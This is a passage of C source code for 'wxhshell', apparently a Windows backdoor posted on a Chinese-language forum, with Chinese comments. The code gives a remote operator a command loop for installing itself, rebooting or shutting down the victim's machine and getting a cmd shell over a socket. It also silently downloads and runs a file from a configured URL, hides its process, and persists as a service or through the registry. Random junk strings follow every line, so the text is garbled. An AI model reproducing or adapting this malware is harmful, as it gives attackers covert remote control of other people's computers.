  Z1u:OI@(  
  // 帮助 ;oL`fQyr  
  case '?': {  0Bbno9Yp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6%N.'wf  
    break; Lckb*/jV&  
  } <*O~?=6p  
  // 安装 QAs$fi}f]s  
  case 'i': { wCT. (d_  
    if(Install()) a W1y0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -n.ltgW@   
    else u!wR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9a4Xf%!F>z  
    break; doeYc  
    } Ci{,e%  
  // 卸载 GI:J9TS  
  case 'r': { ~{- zj  
    if(Uninstall()) C9+`sFau@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+Ko{rf+9  
    else +\r=/""DW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4@|"1D3  
    break; J QSp2b@'H  
    } 7&ty!PpD  
  // 显示 wxhshell 所在路径 A}K2"lQ#>,  
  case 'p': { 9WE_9$<V  
    char svExeFile[MAX_PATH]; -44{b<:D  
    strcpy(svExeFile,"\n\r"); !cblmF;0  
      strcat(svExeFile,ExeFile); zT _  
        send(wsh,svExeFile,strlen(svExeFile),0); BT[jD}?  
    break; 2|2'?  
    } kY e3A &J  
  // 重启 (- ]A1WQ?  
  case 'b': { ?;{ d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sw:o3cC]  
    if(Boot(REBOOT)) 3RSiu}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PWU8 9YXp  
    else { Rn] `_[)*~  
    closesocket(wsh); Na6z1&wS  
    ExitThread(0); o u%Xnk~  
    } Q[5j5vry  
    break; TV^m1uC  
    } h%2;B;p]  
  // 关机 L?[NXLn+  
  case 'd': { f9R~RRz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |ATz<"q>  
    if(Boot(SHUTDOWN)) WX2:c,%:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3}U {~l!K  
    else { ?ks3K-.4  
    closesocket(wsh); #2&DDy)B f  
    ExitThread(0); M}jF-z  
    } RXo!K iQO  
    break; a?635*9K  
    } fV}:eEo|Y  
  // 获取shell }F v:g!  
  case 's': { 4$HU=]b6Tf  
    CmdShell(wsh); ~3 ,>TV  
    closesocket(wsh); .TI =3*`G  
    ExitThread(0); ):LgZ4h  
    break; P~"e=NL5  
  } &nJH23h ^  
  // 退出 u1@&o9  
  case 'x': { HLD8W8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6R.%I{x'  
    CloseIt(wsh); xbZx&`(  
    break; 16;r+.FB'  
    } n2e#rn  
  // 离开 cM'\u~m{  
  case 'q': { V5]}b[X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j=&]=0F  
    closesocket(wsh); Wc6Jgpl  
    WSACleanup(); %3"xn!'vf  
    exit(1); k PuY[~i%  
    break; pQ:7%+Om  
        } ;F)j,Ywi)H  
  } QJeL&mf  
  } '>8IOC  
_zuaImJ0o  
  // 提示信息 8XS_I{}?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HUP~  
} p,(gv])ie  
  } {>x6SVF  
he/WqCZg  
  return; o8PK,!Pl  
} 9FGe (t <  
V*}xlxSL  
// shell模块句柄 !]^,!7x,8j  
int CmdShell(SOCKET sock) #pe#(xoI  
{ RB,`I#z1f  
STARTUPINFO si; @ PboT1  
ZeroMemory(&si,sizeof(si)); \B72 # NR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iZ^tLnc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n5Coxvy1  
PROCESS_INFORMATION ProcessInfo; c >8I M  
char cmdline[]="cmd"; 8 ztVv   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /b|V=j}W  
  return 0; nM=5L:d  
} s *8)|N  
w)nFH)f  
// 自身启动模式 L6>;"]:f`  
int StartFromService(void) "7G>  
{ Q sXy(w#F  
typedef struct 4@qHS0$  
{ w<qn@f  
  DWORD ExitStatus; [Dzd39aKr  
  DWORD PebBaseAddress; t\\oG H  
  DWORD AffinityMask; [WfigqY`b*  
  DWORD BasePriority; K@RE-K6{  
  ULONG UniqueProcessId; B4l*]K%  
  ULONG InheritedFromUniqueProcessId; 26e.Hu  
}   PROCESS_BASIC_INFORMATION; J*!_kg)>J  
55%j$f  
PROCNTQSIP NtQueryInformationProcess; >+/2g  
MAv-`8@|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e$vvmbK.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 ~s{zob  
:kQ%Mj>  
  HANDLE             hProcess; ?KB+2]7m6  
  PROCESS_BASIC_INFORMATION pbi; uG\ @e'pr  
Ro2Ab^rQ|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 006 qj.  
  if(NULL == hInst ) return 0; 6bE~m<B\`  
EuJ_UxkG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8LPvb#9=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c[E "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k <EzYh  
b +4x2{  
  if (!NtQueryInformationProcess) return 0; t7P[^f15[  
@P'("qb~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -;1nv:7Z3  
  if(!hProcess) return 0; l KdY!j"  
Vf V|fuW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  cFV)zFu  
;Xr|['\'  
  CloseHandle(hProcess); u&E$(  
i".nnAI:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T4c]VWtD  
if(hProcess==NULL) return 0; +46m~" ]  
F%-KY$%  
HMODULE hMod; /b;GC-"v  
char procName[255]; j#f7-nHyz8  
unsigned long cbNeeded; @L-] %C  
K/;*.u`:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MEI.wJZ  
##\ <mFE  
  CloseHandle(hProcess); Xc}~_.]  
((AsZ$[S  
if(strstr(procName,"services")) return 1; // 以服务启动 bTd94  
H\PY\O&cP  
  return 0; // 注册表启动 *7JsmN?  
} -(;<Q_'s{"  
; *ZiH%q,  
// 主模块 n N_Ylw  
int StartWxhshell(LPSTR lpCmdLine) -50 Nd=1  
{ fZ6-ap,u  
  SOCKET wsl; QnZ7e#@UP  
BOOL val=TRUE; l&2pUv=  
  int port=0; yGs:3KI  
  struct sockaddr_in door; |<aF)S4  
g'pB<?'E'  
  if(wscfg.ws_autoins) Install(); S9;:)  
9aa cW  
port=atoi(lpCmdLine); aCZ7G % Y  
(+x!wX( x  
if(port<=0) port=wscfg.ws_port; N t-8[J  
!l7D1i~  
  WSADATA data; -*nd5(lY&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 Buus  
`,7;2ZG~O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vNn$dc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dBeZx1Dy  
  door.sin_family = AF_INET; g,O3\jjQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I;5:jT`  
  door.sin_port = htons(port); >39\u &)  
<uf,@N5m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hLo>jE  
closesocket(wsl); AnW72|=A(  
return 1; u 6"v}gN  
} kKHGcm^r  
'VQ mK#  
  if(listen(wsl,2) == INVALID_SOCKET) { 0{k*SCN#  
closesocket(wsl); 4f-I,)qCBk  
return 1; O Bp&64  
} *S?vw'n  
  Wxhshell(wsl); abczW[\  
  WSACleanup(); RHj<t");  
:dML+R#Ymh  
return 0; LEgx"H=c  
na0-v-  
} pN-c9n4#j  
 x#hGJT  
// 以NT服务方式启动 dFw>SYrpu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q)F@f /  
{ xU(yc}vw,  
DWORD   status = 0; %AV[vr,  
  DWORD   specificError = 0xfffffff; ;#+Se,)  
{[tx^b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >VE!3'/'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J12hjzk6@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6d#:v"^,  
  serviceStatus.dwWin32ExitCode     = 0; [ }1+=Ub  
  serviceStatus.dwServiceSpecificExitCode = 0; ,enU`}9V*  
  serviceStatus.dwCheckPoint       = 0; =AVr<kP  
  serviceStatus.dwWaitHint       = 0; XT<{J8 0z  
s4kkzTnXE3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7zWr5U.  
  if (hServiceStatusHandle==0) return; 8(kP=   
G8hq;W4@]/  
status = GetLastError(); c)Ep<W<r1  
  if (status!=NO_ERROR) .KX LWH  
{ ;z3w#fNMv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tEC`-> |  
    serviceStatus.dwCheckPoint       = 0; ]*\m@lWu  
    serviceStatus.dwWaitHint       = 0; p J#<e  
    serviceStatus.dwWin32ExitCode     = status; 3A)Ec/;~  
    serviceStatus.dwServiceSpecificExitCode = specificError; # ZcFxB6)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ar iW&E  
    return; cfrvx^,2&  
  } n1;y"`gHk  
&LM ^,xx}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r_EuLFMA  
  serviceStatus.dwCheckPoint       = 0; ,K 1X/),  
  serviceStatus.dwWaitHint       = 0; 'H|=]n0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !3J YG  
} ?T\_"G  
xZ.c@u6:  
// 处理NT服务事件,比如:启动、停止 Au[H!J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c.JMeh  
{ Xb/^n .>  
switch(fdwControl) pU)g93  
{ r_?il]l  
case SERVICE_CONTROL_STOP: f83Tl~  
  serviceStatus.dwWin32ExitCode = 0; 0X: :<N@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vt;!FZ  
  serviceStatus.dwCheckPoint   = 0; D@ R>gqb  
  serviceStatus.dwWaitHint     = 0; 8Z1pQx-P2C  
  { Kulh:d:w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +:D90p$e  
  } q7-.-k<dQ  
  return; _6/q.  
case SERVICE_CONTROL_PAUSE: Lr;PESV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lMW4SRk1C  
  break; 25-5X3(>j=  
case SERVICE_CONTROL_CONTINUE: |v?*}6:a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pQ/ bIuq  
  break; #nS[]UbwZ  
case SERVICE_CONTROL_INTERROGATE: 0*umf .R  
  break; xZpGSlA  
}; %^VQw!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9p '#a:  
} /:o (Ghc?  
*LZ^0c:r  
// 标准应用程序主函数 vi-mn)L6#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %I>-_el  
{ Or9`E(  
;xMieqz  
// 获取操作系统版本 SWZA`JVK  
OsIsNt=GetOsVer(); -0R;C`(!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {;[W'Lc  
$Afw]F$  
  // 从命令行安装 hJIF!eoI  
  if(strpbrk(lpCmdLine,"iI")) Install(); WymBjDos:  
YnLwBJ2i  
  // 下载执行文件 L^Q q[>  
if(wscfg.ws_downexe) { rh%-va9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PR i3=3oF  
  WinExec(wscfg.ws_filenam,SW_HIDE); H6Qb]H. C  
} ]Y%U5\$  
qZ79IX'y  
if(!OsIsNt) { F')fi0=  
// 如果时win9x,隐藏进程并且设置为注册表启动 sM0o,l(5  
HideProc(); oPVyLD  
StartWxhshell(lpCmdLine); D3i`ehh  
} 5lp};  
else IQ3]fLb  
  if(StartFromService()) ^>H+#@R  
  // 以服务方式启动 xM6v0Ua  
  StartServiceCtrlDispatcher(DispatchTable); #{]Yw}m  
else UvPD/qu$8D  
  // 普通方式启动 3Q-[)Z )  
  StartWxhshell(lpCmdLine); gJv;{;%  
y5AJ1A6?E  
return 0; 8fI&-uP{g  
}
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只看该作者 1 发表于: 2006-10-10
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